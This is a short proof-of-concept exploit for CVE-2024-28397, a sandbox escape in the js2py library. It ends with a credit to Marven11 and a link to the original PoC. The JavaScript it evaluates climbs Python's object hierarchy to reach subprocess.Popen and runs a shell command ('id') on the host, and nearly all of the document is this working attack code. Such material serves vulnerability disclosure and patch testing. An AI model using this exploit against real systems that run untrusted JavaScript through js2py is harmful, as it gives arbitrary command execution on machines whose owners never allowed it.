import js2py
js_code = """
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
let obj = Object.getOwnPropertyNames({}).__getattribute__("__getattribute__")("__class__").__base__
output = findpopen(obj)("id", -1, null, -1, -1, -1, null, null, true).communicate()
console.log(output)
"""
repr(js2py.eval_js(js_code))
- Vulnerability originally discovered by Marven11
- Original PoC: https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape